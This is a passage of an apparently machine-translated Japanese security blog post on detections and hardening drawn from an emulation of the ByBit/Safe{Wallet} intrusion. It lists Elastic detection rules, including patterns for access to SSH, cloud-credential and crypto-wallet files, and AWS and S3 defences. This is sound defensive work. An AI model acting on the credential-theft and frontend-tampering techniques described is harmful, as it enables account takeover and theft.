S3 Object Lock、Content-Security-Policy (CSP)、Subresource Integrity (SRI) ヘッダーなどの保護は、侵害時に使用されていないか、適用されていなかったと想定しています。これらの制御がないと、攻撃者はブラウザやバックエンドの整合性検証をトリガーせずに静的なフロントエンドコードを変更でき、そのような改ざんが検出されずに実行することが非常に容易になります。
防衛の教訓
エミュレーションの成功、または実際のインシデント対応は、攻撃者の行動を特定するだけでは終わりません。それは、同様の技術が再び成功しないように防御を強化し続けます。以下では、このエミュレーションやSafe{Wallet}侵害のようなIn-the-Wild(ItW)キャンペーンで使用される戦術のリスクを軽減し、リスクを軽減するのに役立つ主要な検出、セキュリティ制御、緩和戦略、およびElasticの機能について概説します。
手記: これらの検出は積極的に保守され、定期的に調整されており、時間の経過とともに進化する可能性があります。環境によっては、誤検出を最小限に抑え、ノイズを減らすために、追加のチューニングが必要になる場合があります。
ElasticのSIEM検知ルールとエンドポイント防御ルール
エミュレーションを通じて敵対者の行動を理解し、セキュリティ制御を実装して環境を強化したら、これらの脅威をリアルタイムで特定して対応するための検出の機会と機能を調査することも同様に重要です。
エミュレーションを通じて敵対者の行動を理解し、セキュリティ制御を実装して環境を強化したら、これらの脅威をリアルタイムで特定して対応するための検出の機会と機能を調査することも同様に重要です。
MacOSエンドポイントの動作防止ルール
Python PyYAML 逆シリアル化ペイロード
ルール名: "Python スクリプトのドロップと実行": Python スクリプトが作成または変更された直後に、同じ Python プロセスによってそのスクリプトが実行されることを検出します。
Python ローダー スクリプト
ルール名: "自己削除 Python スクリプト": Python スクリプトが実行され、そのスクリプト ファイルが同じ Python プロセスによってすぐに削除されたことを検出します。
ルール名: "自己削除した Python スクリプト送信接続": Python スクリプトが削除され、その直後に同じ Python プロセスによって送信ネットワーク接続が発生したときに検出します。
Python ローダー スクリプト Ret == 1
ルール名: 「Python による疑わしい実行可能ファイルの作成」: 実行可能ファイルが Python によって疑わしいディレクトリまたは異常なディレクトリで作成または変更されたことを検出します。
ルール名: "Python ライブラリの読み込みと削除": ユーザーのホームディレクトリ内にある共有ライブラリがPythonによってロードされ、その後すぐに同じPythonプロセスによってライブラリが削除されたことを検出します。
ルール名: "Python による通常とは異なるライブラリの読み込み": Python によって読み込まれた共有ライブラリのうち、それ自体が .dylib として示されていない場合に検出しますまたは .soファイルとして保存され、ユーザーのホームディレクトリ内にあります。
ルール名: "ScriptingAdditions によるインメモリ JXA 実行": JXA スクリプトのメモリ内の負荷と実行を検出します。
Python ローダー スクリプト Ret == 2
ルール名: "Potential Python Stealer": Python スクリプトが実行され、その直後に同じ Python プロセスで機密ファイルへのアクセスが少なくとも 3 回試行されたことを検出します。
ルール名: "機密ファイルにアクセスする自己削除 Python スクリプト": Python スクリプトが削除され、その直後に同じ Python プロセスによって機密ファイルにアクセスしたことを検出します。
Python ローダー スクリプト Ret == 3
ルール名: "Python による署名なしまたは信頼できないバイナリ実行": 署名されていないバイナリまたは信頼できないバイナリが、実行可能ファイルが疑わしいディレクトリ内にある Python によって実行されることを検出します。
ルール名: "Python による署名なしまたは信頼できないバイナリ フォーク": 符号なしまたは信頼できないバイナリが Python によって fork exec されたときを検出し、process 引数がユーザーのホームディレクトリ内のファイルへのパスです。
ルール名: 「不審なディレクトリのプロセスによってアクセスされたクラウド資格情報ファイル」: 疑わしいディレクトリから実行中のプロセスによってクラウド資格情報がアクセスされたことを検出します。
AWS CloudTrail ログの SIEM 検出
ルール名: 「複数のアドレスから使用される STS 一時 IAM セッション トークン」: AWS IAM セッショントークン (例:ASIA*)が複数の送信元IPアドレスから短時間で使用されており、敵対者のインフラストラクチャからの資格情報の盗難と再利用を示している可能性があります。
ルール名: 「IAM による一時的な認証情報を使用した仮想 MFA デバイスの登録試行」: AWS セッショントークンを使用して CreateVirtualMFADevice または EnableMFADevice を呼び出そうとしたことを検出します。これは、ハイジャックされた短期的な資格情報を使用して永続的なアクセスを確立しようとする試みを反映している可能性があります。
ルール名: 「一時セッショントークンを介したIAMへのAPIコール」: プリンシパルによる機密性の高い iam.amazonaws.com API操作の使用を、一時的な認証情報(例:セッショントークンに ASIA* プレフィックスを付けます)。これらのオペレーションは通常、MFA を必要とするか、AWS コンソールまたはフェデレーティッドユーザーを介してのみ実行する必要があります。CLI トークンや自動化トークンは使用しません。
ルール名: "PutObject 経由でアップロードされた S3 静的サイト JavaScript ファイル": IAM ユーザーが S3 バケットの static/js/ ディレクトリに JavaScript ファイルをアップロードまたは変更しようとする試みを識別します。これは、フロントエンドの改ざん (例:悪意のあるコードの挿入)
ルール名: "AWS CLI with Kali Linux Fingerprint Identified": user_agent.original 文字列で示されるように、Kali Linux を使用するシステムから行われた AWS API コールを検出します。これは、攻撃者のインフラストラクチャやレッドチームツールからの不正アクセスを反映している可能性があります。
ルール名: 「S3 過剰または疑わしい GetObject イベント」: 短時間内に同じ IAM ユーザーまたはセッションによる大量の S3 GetObject アクションを検出します。これは、AWS CLIコマンド 同期 などのツールを使用したS3データ流出を示している可能性があります(特に静的サイトファイルやフロントエンドバンドルをターゲットにしています)。これはハンティング クエリであり、それに応じて調整する必要があることに注意してください。
Dockerの不正使用に関するSIEM検出
ルール名: "Docker 経由の機密ファイルアクセス": Docker が機密性の高いホスト ファイル (「ssh」、「aws」、「gcloud」、「azure」、「web browser」、「crypto wallet files」) にアクセスしたときに検出します。
ルール名: "Docker による疑わしい実行可能ファイルの変更": Docker が疑わしいディレクトリまたは異常なディレクトリ内の実行可能ファイルを作成または変更したことを検出します。
macOS エージェントポリシーに Docker データ統合が含まれている場合は、ユーザーシステム上の悪意のあるコンテナアクティビティを表面化するのに役立つ貴重なテレメトリを収集できます。私たちのエミュレーションでは、この統合により、Dockerのログを(メトリクスインデックスに)取り込むことができ、それを使用して、悪意のあるアプリケーションに関連する侵害の兆候や疑わしいコンテナの実行を特定できる検出ルールを構築しました。
対策
ソーシャルエンジニアリング
ソーシャルエンジニアリングは、多くの侵入において主要な役割を果たしていますが、特に北朝鮮に対してはそうです。彼らは、LinkedIn、Telegram、X、Discordなどの信頼できる公開プラットフォームを利用して被害者をターゲットにし、アプローチして連絡を開始し、正当に見えるようにすることに非常に長けています。彼らのソーシャルエンジニアリングキャンペーンの多くは、必要に迫られて(ジョブアプリケーション)、苦痛から(デバッグ支援)など、何らかのプロジェクト、アプリケーション、またはスクリプトをダウンロードして実行するようにユーザーを説得しようとします。ソーシャルエンジニアリングを活用したターゲティングの緩和は困難であり、企業が協調して、従業員がこれらの試みを認識するための定期的なトレーニングを受け、外部のエンティティやオープンソースコミュニティと関わる際には適切な懐疑心と注意を払う必要があります。
- ユーザー意識向上トレーニング
- 手動静的コードレビュー
- 静的コードと依存関係のスキャン
Bandit (GitHub - PyCQA/bandit: Bandit は、Python コードの一般的なセキュリティ問題を見つけるために設計されたツールです) は、開発者が実行前に Python アプリケーションとそのスクリプトをスキャンして、コードに存在する可能性のある一般的な Python セキュリティの脆弱性や危険な問題を明らかにするために使用できるオープンソース ツールの優れた例です。
アプリケーションとデバイスの管理
デバイス管理ソリューションやオープンソースツールのSanta(GitHub - northpolesec/santa:macOS用のバイナリおよびファイルアクセス認証システム)のようなバイナリ認証フレームワークによるアプリケーション制御公証を強制し、疑わしいパスからの実行をブロックするために使用された可能性があります。これにより、永続化のためにシステムにドロップされた Poseidon ペイロードの実行が防止され、機密ファイルへのアクセスが防止される可能性があります。
EDR/XDRの
国家の脅威や、macOSを標的とする他の多くの攻撃から効果的に防御するには、スクリプトベースの攻撃を検出して防止するための豊富なテレメトリ機能と相関機能を提供するEDRソリューションを導入することが重要です。さらに、ElasticのようなEDRプラットフォームでは、エンドポイントデータとともにAWSログを取り込むことができ、一元的なアラートと可視性を一元的に把握することができます。このアプローチをAIを活用した相関関係と組み合わせることで、まとまりのある攻撃の物語を浮かび上がらせることができ、対応を大幅に加速し、そのような攻撃が発生した場合に迅速に行動する能力を向上させることができます。
AWS Credential Exposure と Session Token Hardening (AWS 認証情報の公開とセッショントークンの強化)
この攻撃では、攻撃者は、MFAを使用してGetSessionToken APIを介して発行された、盗まれたAWSユーザーセッショントークン(ASIA*プレフィックス付き)を利用しました。これらの認証情報は、エクスポートされた環境変数またはデフォルトのAWS設定パス( ~/.aws/credentials
など)からmacOS開発者環境から取得された可能性があります。
この種類のアクセスを軽減するために、組織は次の防御戦略を実装できます。
- セッショントークンの有効期間を短縮し、IAM ユーザーから離れる: IAM ユーザーに有効期間の長いセッショントークンを発行しないようにします。代わりに、トークンの期間を短くし (例 1 時間以下)、すべての人間のユーザーに AWS SSO (IAM Identity Center) を採用します。これにより、セッション トークンはエフェメラルで監査可能になり、ID フェデレーションに関連付けられます。IAM ユーザーの sts:GetSessionToken アクセス許可を完全に無効にすることが最も強力なアプローチであり、IAM Identity Center ではこの移行が許可されています。
- IAM API の使用に対するセッションコンテキスト制限の適用: リクエストが一時的な認証情報を使用して行われた場合、 iam:CreateVirtualMFADevice や iam:AttachUserPolicy などの機密性の高い IAM オペレーションを明示的に拒否する IAM ポリシー条件ブロックを実装します。これにより、攻撃で使用されたようなセッションベースのキーは、特権を昇格させたり、ID 構造を変更したりできなくなります。
- MFA 登録を信頼できるパスに制限する: 信頼できるネットワーク、デバイス、または IAM ロールからのものでない限り、セッション トークンによる MFA デバイスの作成 (CreateVirtualMFADevice、 EnableMFADevice) をブロックします。これを強制するには、 aws:SessionToken または aws:ViaAWSService をポリシーコンテキストキーとして使用します。これにより、敵対者がハイジャックされたセッションを使用して MFA ベースの永続化を試みるのを防ぐことができます。
S3アプリケーションレイヤーの強化(フロントエンドの改ざん)
AWSセッショントークンを取得した後、攻撃者はIAMの列挙を実行せず、代わりにS3操作にすばやくピボットしました。AWS CLIと一時的な認証情報を使用して、S3バケットをリストアップし、パブリックS3バケットでホストされている静的フロントエンドJavaScriptを変更しました。これにより、プロダクションNext.jsバンドルを、特定のウォレットアドレスに基づいてトランザクションをリダイレクトするように設計された悪意のある亜種に置き換えることができました。
この種のフロントエンドの改ざんを防ぐには、次の強化戦略を実装します。
- S3 オブジェクトロックによる不変性の適用: 静的フロントエンドコンテンツをホストしているバケットのコンプライアンスモードまたはガバナンスモードで S3 オブジェクトロックを有効にします。これにより、定義された保持期間内のファイルの上書きや削除が、侵害されたユーザーによるものであっても防止されます。Object Lockは、強力な不変性保証を追加し、公開アプリケーションレイヤーに最適です。新しいオブジェクトを配置するためのアクセス権 (上書きではなく) は、デプロイロールを介して引き続き許可できます。
- サブリソース整合性(SRI)によるコンテンツ整合性の実装:index.html内の<script>タグにSRIハッシュ(SHA-256など)を含めて、フロントエンドが既知の検証済みJavaScriptバンドルのみを実行するようにします。この攻撃では、整合性チェックが行われていなかったため、S3バケットから任意のJavaScriptが提供され、実行されていました。SRI は、ブラウザー レベルでこの動作をブロックします。
- CI/CD デプロイメント境界を使用したアップロードアクセスの制限: 開発者は、本番環境の S3 バケットに直接書き込みアクセスを持つべきではありません。開発と CI/CD のデプロイには、別々の AWS アカウントまたは IAM ロールを使用します。OIDC で認証された GitHub Actions または信頼された CI パイプラインのみが、フロントエンド バンドルを運用バケットにアップロードできるようにする必要があります。これにより、人間の資格情報が侵害された場合でも、生産を害することはありません。
- CloudFront 署名付き URL 経由のアクセスをロックするか、S3 バージョニングを使用する: フロントエンドが CloudFront 経由で配布されている場合は、署名付き URL を使用して S3 へのアクセスを制限し、S3 オリジンへのパブリックアクセスを削除します。これにより、プロキシと制御レイヤーが追加されます。または、S3 バージョニングを有効にし、重要なアセット (例: /static/js/*.js) の上書きイベントを監視します。これにより、フロントエンドファイルを置き換えようとする攻撃者による改ざんを検出できます。
アタックディスカバリー(AD)
エンドツーエンドの攻撃エミュレーションを完了した後、Elasticの新しいAI攻撃検出機能をテストして、侵入のさまざまな段階間の点と点をつなぐことができるかどうかを確認しました。Attack Discoveryは、選択したLLMと統合して、スタック全体のアラートを分析し、まとまりのある攻撃の物語を生成します。これらのストーリーは、アナリストが何が起こったのかを迅速に理解し、応答時間を短縮し、高レベルのコンテキストを取得するのに役立ちます。私たちのテストでは、エンドポイントの侵害とAWSの侵入をうまく関連付け、アナリストが情報に基づいた行動を取るために使用できる統一されたストーリーを提供しました。
Osquery
Elastic Agentを通じてElastic Defendを実行する場合、OSQuery Managerインテグレーションをデプロイして、フリート内のすべてのエージェントでOsqueryを一元管理することもできます。これにより、分散 SQL を使用してホスト・データをクエリできます。Docker化された悪意のあるアプリケーションのテスト中に、OSQueryを使用してエンドポイントを検査し、特権的な権限で実行されているコンテナを特定することに成功しました。
SELECT name, image, readonly_rootfs, privileged FROM docker_containers
このクエリは定期的に実行するようにスケジュールし、結果をElastic Stackに送り返しました。そこから、新しい特権コンテナがユーザーのシステムに現れ、過去7日間に観察されていない場合にアラートを出す、しきい値ベースの検出ルールを構築しました。
まとめ
ByBit攻撃は、北朝鮮の脅威アクターに起因する最も重大な侵入の1つであり、詳細なレポートと利用可能なアーティファクトのおかげで、防御側が完全な攻撃チェーンをエンドツーエンドでエミュレートできる貴重な機会も提供しました。SAFE開発者のmacOSワークステーションの侵害(初期アクセス、ペイロードの実行、AWSピボットなど)を再現することで、現実世界の国家のトレードクラフトに対する検出機能を検証しました。
このエミュレーションは、PyYAMLの逆シリアル化を悪用して初期アクセスを得る方法など、技術的な洞察を強調しただけでなく、ユーザー認識の価値、行動ベースのEDRカバレッジ、安全な開発者ワークフロー、効果的なクラウドIAMポリシー、クラウドロギング、プラットフォーム間の包括的な検出/対応など、運用防御の重要な教訓を強化しました。
敵対者は常に革新を続けていますが、防御者も革新を続けており、この種の研究はバランスを崩すのに役立ちます。@elasticseclabsをフォローし、elastic.co/security-labs の脅威調査をチェックして、進化する敵対者の手法を先取りすることをお勧めします。
リソース: